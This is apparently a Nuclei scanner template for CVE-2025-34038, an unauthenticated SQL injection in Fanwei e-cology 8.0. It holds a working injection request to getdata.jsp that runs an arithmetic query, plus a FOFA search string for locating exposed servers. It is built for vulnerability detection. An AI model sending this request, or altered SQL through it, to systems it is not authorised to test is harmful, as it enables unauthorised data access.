id: CVE-2025-34038

info:
  name: Fanwei e-cology - SQL Injection
  author: ritikchaddha
  severity: high
  description: |
    Fanwei e-cology 8.0 contains a sql injection caused by unsanitized user input in the sql parameter of getdata.jsp, letting unauthenticated attackers execute arbitrary SQL queries and access sensitive data.
  impact: |
    Unauthenticated attackers can execute arbitrary SQL queries, potentially exposing sensitive data including administrator password hashes.
  remediation: |
    Update to the latest version of Fanwei e-cology.
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-89
  metadata:
    max-request: 1
    fofa-query: app="泛微-协同办公OA"
  tags: cve,cve2025,ecology,sqli,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+547653*865674+as+id"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "474088963122"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100fe5a9c680a72cd36ce7931741471c45458df959c05be27a1ba18646a7e5f4f3f022027c7f4d0dc4826c7377c982f26d60de1e7f5a1930e4b910036cfd8158af492c8:922c64590222798bb761d5b6d8e72950